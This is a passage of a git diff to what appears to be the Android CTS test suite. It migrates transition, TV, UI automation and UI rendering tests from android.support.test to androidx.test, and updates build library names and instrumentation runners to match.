import android.transition.ChangeScroll;
import android.transition.TransitionManager;
import android.view.View;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/transition/src/android/transition/cts/ChangeTransformTest.java b/tests/tests/transition/src/android/transition/cts/ChangeTransformTest.java
index 38474a2..45f7c93 100644
--- a/tests/tests/transition/src/android/transition/cts/ChangeTransformTest.java
+++ b/tests/tests/transition/src/android/transition/cts/ChangeTransformTest.java
@@ -21,13 +21,14 @@
import static org.mockito.Mockito.never;
import static org.mockito.Mockito.verify;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.transition.ChangeTransform;
import android.transition.TransitionManager;
import android.view.View;
import android.view.ViewGroup;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/transition/src/android/transition/cts/ExplodeTest.java b/tests/tests/transition/src/android/transition/cts/ExplodeTest.java
index 52340e0..b7abbb3 100644
--- a/tests/tests/transition/src/android/transition/cts/ExplodeTest.java
+++ b/tests/tests/transition/src/android/transition/cts/ExplodeTest.java
@@ -21,12 +21,13 @@
import static org.mockito.Mockito.never;
import static org.mockito.Mockito.verify;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.transition.Explode;
import android.transition.TransitionManager;
import android.view.View;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/transition/src/android/transition/cts/FadeTest.java b/tests/tests/transition/src/android/transition/cts/FadeTest.java
index 48f6aa1..a2f5441 100644
--- a/tests/tests/transition/src/android/transition/cts/FadeTest.java
+++ b/tests/tests/transition/src/android/transition/cts/FadeTest.java
@@ -28,8 +28,6 @@
import android.graphics.Canvas;
import android.graphics.Color;
import android.graphics.drawable.BitmapDrawable;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.transition.Fade;
import android.transition.Scene;
import android.transition.Transition;
@@ -41,6 +39,9 @@
import android.widget.FrameLayout;
import android.widget.ImageView;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/transition/src/android/transition/cts/PatternPathMotionTest.java b/tests/tests/transition/src/android/transition/cts/PatternPathMotionTest.java
index a7ae8f3..828f2bd 100644
--- a/tests/tests/transition/src/android/transition/cts/PatternPathMotionTest.java
+++ b/tests/tests/transition/src/android/transition/cts/PatternPathMotionTest.java
@@ -18,10 +18,11 @@
import static org.junit.Assert.assertSame;
import android.graphics.Path;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.transition.PatternPathMotion;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/transition/src/android/transition/cts/PropagationTest.java b/tests/tests/transition/src/android/transition/cts/PropagationTest.java
index dfd7b03..6a83f95 100644
--- a/tests/tests/transition/src/android/transition/cts/PropagationTest.java
+++ b/tests/tests/transition/src/android/transition/cts/PropagationTest.java
@@ -19,8 +19,6 @@
import static org.junit.Assert.assertTrue;
import android.graphics.Rect;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.transition.CircularPropagation;
import android.transition.SidePropagation;
import android.transition.Transition;
@@ -28,6 +26,9 @@
import android.view.Gravity;
import android.view.View;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/transition/src/android/transition/cts/SceneTest.java b/tests/tests/transition/src/android/transition/cts/SceneTest.java
index 8c06f51..80028e0 100644
--- a/tests/tests/transition/src/android/transition/cts/SceneTest.java
+++ b/tests/tests/transition/src/android/transition/cts/SceneTest.java
@@ -24,12 +24,13 @@
import static org.mockito.Mockito.verify;
import static org.mockito.Mockito.verifyZeroInteractions;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.transition.Scene;
import android.view.View;
import android.view.ViewGroup;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
import org.mockito.invocation.InvocationOnMock;
diff --git a/tests/tests/transition/src/android/transition/cts/SlideBadEdgeTest.java b/tests/tests/transition/src/android/transition/cts/SlideBadEdgeTest.java
index e0ce0cc..9b6b803 100644
--- a/tests/tests/transition/src/android/transition/cts/SlideBadEdgeTest.java
+++ b/tests/tests/transition/src/android/transition/cts/SlideBadEdgeTest.java
@@ -17,12 +17,13 @@
import static org.junit.Assert.fail;
-import android.support.test.filters.MediumTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.transition.Slide;
import android.view.Gravity;
+import androidx.test.filters.MediumTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/transition/src/android/transition/cts/SlideDefaultEdgeTest.java b/tests/tests/transition/src/android/transition/cts/SlideDefaultEdgeTest.java
index 3de780c..f1b4cfe 100644
--- a/tests/tests/transition/src/android/transition/cts/SlideDefaultEdgeTest.java
+++ b/tests/tests/transition/src/android/transition/cts/SlideDefaultEdgeTest.java
@@ -17,11 +17,12 @@
import static org.junit.Assert.assertEquals;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.transition.Slide;
import android.view.Gravity;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/transition/src/android/transition/cts/SlideEdgeTest.java b/tests/tests/transition/src/android/transition/cts/SlideEdgeTest.java
index f70db09..bad6d38 100644
--- a/tests/tests/transition/src/android/transition/cts/SlideEdgeTest.java
+++ b/tests/tests/transition/src/android/transition/cts/SlideEdgeTest.java
@@ -24,8 +24,6 @@
import static org.mockito.Mockito.never;
import static org.mockito.Mockito.verify;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.transition.Slide;
import android.transition.Transition;
import android.transition.TransitionManager;
@@ -33,6 +31,9 @@
import android.view.View;
import android.view.ViewGroup;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.PollingCheck;
import org.junit.Test;
diff --git a/tests/tests/transition/src/android/transition/cts/TransitionInflaterTest.java b/tests/tests/transition/src/android/transition/cts/TransitionInflaterTest.java
index 9a7ab94..346004e 100644
--- a/tests/tests/transition/src/android/transition/cts/TransitionInflaterTest.java
+++ b/tests/tests/transition/src/android/transition/cts/TransitionInflaterTest.java
@@ -24,8 +24,6 @@
import android.content.Context;
import android.graphics.Path;
import android.graphics.PathMeasure;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.transition.ArcMotion;
import android.transition.AutoTransition;
import android.transition.ChangeBounds;
@@ -50,6 +48,9 @@
import android.widget.ImageView;
import android.widget.TextView;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/transition/src/android/transition/cts/TransitionListenerAdapterTest.java b/tests/tests/transition/src/android/transition/cts/TransitionListenerAdapterTest.java
index 1438788..9d7ff2d 100644
--- a/tests/tests/transition/src/android/transition/cts/TransitionListenerAdapterTest.java
+++ b/tests/tests/transition/src/android/transition/cts/TransitionListenerAdapterTest.java
@@ -16,8 +16,9 @@
package android.transition.cts;
import android.transition.TransitionListenerAdapter;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/transition/src/android/transition/cts/TransitionManagerTest.java b/tests/tests/transition/src/android/transition/cts/TransitionManagerTest.java
index 27cd3f6..ac868ad 100644
--- a/tests/tests/transition/src/android/transition/cts/TransitionManagerTest.java
+++ b/tests/tests/transition/src/android/transition/cts/TransitionManagerTest.java
@@ -27,14 +27,15 @@
import android.graphics.Rect;
import android.os.SystemClock;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.transition.Scene;
import android.transition.Transition;
import android.transition.TransitionManager;
import android.view.View;
import android.view.ViewTreeObserver;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
import org.mockito.ArgumentCaptor;
diff --git a/tests/tests/transition/src/android/transition/cts/TransitionSetTest.java b/tests/tests/transition/src/android/transition/cts/TransitionSetTest.java
index 489fb2d..a9c1a7d 100644
--- a/tests/tests/transition/src/android/transition/cts/TransitionSetTest.java
+++ b/tests/tests/transition/src/android/transition/cts/TransitionSetTest.java
@@ -24,13 +24,14 @@
import static org.mockito.Mockito.times;
import static org.mockito.Mockito.verify;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.transition.ChangeBounds;
import android.transition.Fade;
import android.transition.Transition;
import android.transition.TransitionSet;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/transition/src/android/transition/cts/TransitionTest.java b/tests/tests/transition/src/android/transition/cts/TransitionTest.java
index a323951..3a60cd4 100644
--- a/tests/tests/transition/src/android/transition/cts/TransitionTest.java
+++ b/tests/tests/transition/src/android/transition/cts/TransitionTest.java
@@ -38,8 +38,6 @@
import android.animation.Animator;
import android.graphics.Rect;
import android.os.SystemClock;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.transition.ArcMotion;
import android.transition.AutoTransition;
import android.transition.ChangeBounds;
@@ -60,6 +58,9 @@
import android.widget.RelativeLayout;
import android.widget.TextView;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/transition/src/android/transition/cts/VisibilityTest.java b/tests/tests/transition/src/android/transition/cts/VisibilityTest.java
index 6b608e4..8325328 100644
--- a/tests/tests/transition/src/android/transition/cts/VisibilityTest.java
+++ b/tests/tests/transition/src/android/transition/cts/VisibilityTest.java
@@ -26,14 +26,15 @@
import static org.mockito.Mockito.verify;
import android.animation.Animator;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.transition.TransitionManager;
import android.transition.TransitionValues;
import android.transition.Visibility;
import android.view.View;
import android.view.ViewGroup;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/tv/Android.mk b/tests/tests/tv/Android.mk
index 8188d28..072d800 100644
--- a/tests/tests/tv/Android.mk
+++ b/tests/tests/tv/Android.mk
@@ -29,7 +29,7 @@
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt ctstestrunner-axt
LOCAL_SDK_VERSION := current
diff --git a/tests/tests/tv/AndroidManifest.xml b/tests/tests/tv/AndroidManifest.xml
index 3de468f..8cb2b79 100644
--- a/tests/tests/tv/AndroidManifest.xml
+++ b/tests/tests/tv/AndroidManifest.xml
@@ -117,7 +117,7 @@
</activity>
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.tv.cts"
android:label="Tests for the TV APIs.">
<meta-data android:name="listener"
diff --git a/tests/tests/uiautomation/Android.mk b/tests/tests/uiautomation/Android.mk
index b9bdbfb..e0ab36c 100644
--- a/tests/tests/uiautomation/Android.mk
+++ b/tests/tests/uiautomation/Android.mk
@@ -23,7 +23,7 @@
# Tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner ub-uiautomator
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt ub-uiautomator
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
diff --git a/tests/tests/uiautomation/AndroidManifest.xml b/tests/tests/uiautomation/AndroidManifest.xml
index 0573a12..1a0dbdd 100644
--- a/tests/tests/uiautomation/AndroidManifest.xml
+++ b/tests/tests/uiautomation/AndroidManifest.xml
@@ -53,7 +53,7 @@
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.app.uiautomation.cts">
<meta-data android:name="listener"
android:value="com.android.cts.runner.CtsTestRunListener" />
diff --git a/tests/tests/uidisolation/Android.mk b/tests/tests/uidisolation/Android.mk
index 39bc245..de39ac6 100644
--- a/tests/tests/uidisolation/Android.mk
+++ b/tests/tests/uidisolation/Android.mk
@@ -24,7 +24,7 @@
# Tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner ctstestserver
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt ctstestserver
LOCAL_JAVA_LIBRARIES := \
org.apache.http.legacy \
diff --git a/tests/tests/uidisolation/AndroidManifest.xml b/tests/tests/uidisolation/AndroidManifest.xml
index 09631f5..0872521 100644
--- a/tests/tests/uidisolation/AndroidManifest.xml
+++ b/tests/tests/uidisolation/AndroidManifest.xml
@@ -33,7 +33,7 @@
<uses-permission android:name="android.permission.INTERNET"/>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.uidisolation.cts"
android:label="CTS tests of android.uidisolation">
<meta-data android:name="listener"
diff --git a/tests/tests/uirendering/Android.mk b/tests/tests/uirendering/Android.mk
index ec98a0e..d7bfb0b 100644
--- a/tests/tests/uirendering/Android.mk
+++ b/tests/tests/uirendering/Android.mk
@@ -27,11 +27,11 @@
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs
LOCAL_STATIC_JAVA_LIBRARIES := \
- compatibility-device-util \
- ctsdeviceutillegacy \
- ctstestrunner \
+ compatibility-device-util-axt \
+ ctsdeviceutillegacy-axt \
+ ctstestrunner-axt \
mockito-target-minus-junit4 \
- android-support-test
+ androidx.test.rules
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/runner/UiRenderingRunner.java b/tests/tests/uirendering/src/android/uirendering/cts/runner/UiRenderingRunner.java
index 423b416..75a0dba 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/runner/UiRenderingRunner.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/runner/UiRenderingRunner.java
@@ -16,7 +16,7 @@
package android.uirendering.cts.runner;
-import android.support.test.runner.AndroidJUnitRunner;
+import androidx.test.runner.AndroidJUnitRunner;
/**
* TODO: Do some cool stuff we also want like sharing DrawActivity cross-class.
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/AlphaBlendTest.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/AlphaBlendTest.java
index 8c777f8..17eda79 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/AlphaBlendTest.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/AlphaBlendTest.java
@@ -19,9 +19,6 @@
import android.content.Context;
import android.graphics.Canvas;
import android.graphics.Color;
-import android.graphics.Point;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.uirendering.cts.R;
import android.uirendering.cts.bitmapverifiers.ColorVerifier;
import android.uirendering.cts.testinfrastructure.ActivityTestBase;
@@ -29,6 +26,10 @@
import android.view.View;
import android.view.ViewGroup;
import android.widget.FrameLayout;
+
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/AutofillHighlightTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/AutofillHighlightTests.java
index 837cfc3..e02506f 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/AutofillHighlightTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/AutofillHighlightTests.java
@@ -22,13 +22,14 @@
import android.graphics.Canvas;
import android.graphics.Color;
import android.graphics.drawable.Drawable;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.uirendering.cts.R;
import android.uirendering.cts.bitmapcomparers.MSSIMComparer;
import android.uirendering.cts.bitmapverifiers.GoldenImageVerifier;
import android.uirendering.cts.testinfrastructure.ActivityTestBase;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/BitmapDrawableTest.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/BitmapDrawableTest.java
index 7b01d34..f845f94 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/BitmapDrawableTest.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/BitmapDrawableTest.java
@@ -17,44 +17,32 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNotSame;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertSame;
import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-import android.content.res.Resources.Theme;
-import android.graphics.BitmapFactory;
-import android.graphics.Rect;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
import android.content.Context;
import android.content.res.Configuration;
import android.content.res.Resources;
-import android.content.res.XmlResourceParser;
-import android.graphics.Bitmap;
-import android.graphics.Canvas;
+import android.content.res.Resources.Theme;
import android.graphics.Color;
+import android.graphics.Rect;
import android.graphics.drawable.BitmapDrawable;
import android.graphics.drawable.Drawable;
import android.graphics.drawable.Drawable.ConstantState;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.uirendering.cts.R;
import android.uirendering.cts.bitmapverifiers.RectVerifier;
import android.uirendering.cts.testinfrastructure.ActivityTestBase;
import android.uirendering.cts.testinfrastructure.CanvasClient;
import android.util.LayoutDirection;
-import java.io.ByteArrayInputStream;
-import java.io.File;
-import java.io.FileOutputStream;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
import java.io.IOException;
-import java.io.InputStream;
@MediumTest
@RunWith(AndroidJUnit4.class)
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/BitmapFilterTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/BitmapFilterTests.java
index 92c9bd7..1a0affb 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/BitmapFilterTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/BitmapFilterTests.java
@@ -21,8 +21,6 @@
import android.graphics.PaintFlagsDrawFilter;
import android.graphics.Rect;
import android.graphics.Region;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.uirendering.cts.bitmapverifiers.BitmapVerifier;
import android.uirendering.cts.bitmapverifiers.ColorVerifier;
import android.uirendering.cts.bitmapverifiers.PerPixelBitmapVerifier;
@@ -30,6 +28,9 @@
import android.uirendering.cts.testinfrastructure.ActivityTestBase;
import android.uirendering.cts.testinfrastructure.CanvasClient;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/BitmapTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/BitmapTests.java
index c88a006..907c88a 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/BitmapTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/BitmapTests.java
@@ -28,8 +28,6 @@
import android.graphics.Picture;
import android.graphics.Rect;
import android.os.Handler;
-import android.support.test.filters.LargeTest;
-import android.support.test.runner.AndroidJUnit4;
import android.uirendering.cts.R;
import android.uirendering.cts.bitmapcomparers.MSSIMComparer;
import android.uirendering.cts.bitmapverifiers.BitmapVerifier;
@@ -43,6 +41,9 @@
import android.view.Window;
import android.widget.FrameLayout;
+import androidx.test.filters.LargeTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Assert;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/CanvasStateTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/CanvasStateTests.java
index 16f98f6..01f569f 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/CanvasStateTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/CanvasStateTests.java
@@ -23,14 +23,13 @@
import android.graphics.Canvas;
import android.graphics.Color;
import android.graphics.Path;
-import android.graphics.RectF;
-import android.graphics.Region;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.uirendering.cts.bitmapverifiers.ColorVerifier;
import android.uirendering.cts.testinfrastructure.ActivityTestBase;
import android.util.DisplayMetrics;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ColorFilterAlphaTest.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ColorFilterAlphaTest.java
index 2aaf432..edeb2e8 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ColorFilterAlphaTest.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ColorFilterAlphaTest.java
@@ -25,11 +25,12 @@
import android.graphics.PorterDuffColorFilter;
import android.graphics.PorterDuffXfermode;
import android.graphics.drawable.ColorDrawable;
-import android.support.test.filters.LargeTest;
import android.uirendering.cts.bitmapverifiers.SamplePointVerifier;
import android.uirendering.cts.testinfrastructure.ActivityTestBase;
import android.uirendering.cts.testinfrastructure.CanvasClient;
+import androidx.test.filters.LargeTest;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ColorFilterTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ColorFilterTests.java
index 4fd227d..b4c1bf7 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ColorFilterTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ColorFilterTests.java
@@ -17,15 +17,15 @@
package android.uirendering.cts.testclasses;
import android.graphics.Bitmap;
-import android.graphics.Canvas;
import android.graphics.Color;
import android.graphics.ColorMatrixColorFilter;
import android.graphics.Paint;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.uirendering.cts.bitmapverifiers.ColorVerifier;
import android.uirendering.cts.testinfrastructure.ActivityTestBase;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ColorSpaceTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ColorSpaceTests.java
index 871358e..ee6d0ed 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ColorSpaceTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ColorSpaceTests.java
@@ -28,13 +28,14 @@
import android.graphics.Paint;
import android.graphics.Point;
import android.graphics.Shader;
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.uirendering.cts.bitmapverifiers.SamplePointVerifier;
import android.uirendering.cts.testinfrastructure.ActivityTestBase;
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/EdgeEffectTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/EdgeEffectTests.java
index 57462b6..629127c 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/EdgeEffectTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/EdgeEffectTests.java
@@ -29,9 +29,6 @@
import android.graphics.Canvas;
import android.graphics.Color;
import android.graphics.Paint;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.uirendering.cts.bitmapverifiers.PerPixelBitmapVerifier;
import android.uirendering.cts.testinfrastructure.Tracer;
import android.uirendering.cts.util.BitmapAsserter;
@@ -39,6 +36,10 @@
import android.view.ContextThemeWrapper;
import android.widget.EdgeEffect;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ExactCanvasTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ExactCanvasTests.java
index cce9bb0..ea74e8f 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ExactCanvasTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ExactCanvasTests.java
@@ -24,8 +24,6 @@
import android.graphics.PorterDuff;
import android.graphics.Rect;
import android.graphics.drawable.NinePatchDrawable;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.uirendering.cts.R;
import android.uirendering.cts.bitmapcomparers.BitmapComparer;
import android.uirendering.cts.bitmapcomparers.ExactComparer;
@@ -35,6 +33,9 @@
import android.uirendering.cts.bitmapverifiers.RectVerifier;
import android.uirendering.cts.testinfrastructure.ActivityTestBase;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/FontRenderingTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/FontRenderingTests.java
index ea7403b..3b48542 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/FontRenderingTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/FontRenderingTests.java
@@ -21,14 +21,15 @@
import android.graphics.Color;
import android.graphics.Paint;
import android.graphics.Typeface;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.uirendering.cts.R;
import android.uirendering.cts.bitmapcomparers.BitmapComparer;
import android.uirendering.cts.bitmapcomparers.MSSIMComparer;
import android.uirendering.cts.bitmapverifiers.GoldenImageVerifier;
import android.uirendering.cts.testinfrastructure.ActivityTestBase;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/GradientTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/GradientTests.java
index 4b8b6b2..cc01598 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/GradientTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/GradientTests.java
@@ -21,10 +21,12 @@
import android.graphics.Paint;
import android.graphics.Point;
import android.graphics.Shader;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.uirendering.cts.bitmapverifiers.SamplePointVerifier;
import android.uirendering.cts.testinfrastructure.ActivityTestBase;
+
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/HardwareBitmapTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/HardwareBitmapTests.java
index 3391bb9..31ce395 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/HardwareBitmapTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/HardwareBitmapTests.java
@@ -34,8 +34,6 @@
import android.graphics.Rect;
import android.graphics.drawable.Drawable;
import android.graphics.drawable.NinePatchDrawable;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.uirendering.cts.R;
import android.uirendering.cts.bitmapcomparers.ExactComparer;
import android.uirendering.cts.bitmapcomparers.MSSIMComparer;
@@ -44,6 +42,9 @@
import android.uirendering.cts.testinfrastructure.ActivityTestBase;
import android.util.DisplayMetrics;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
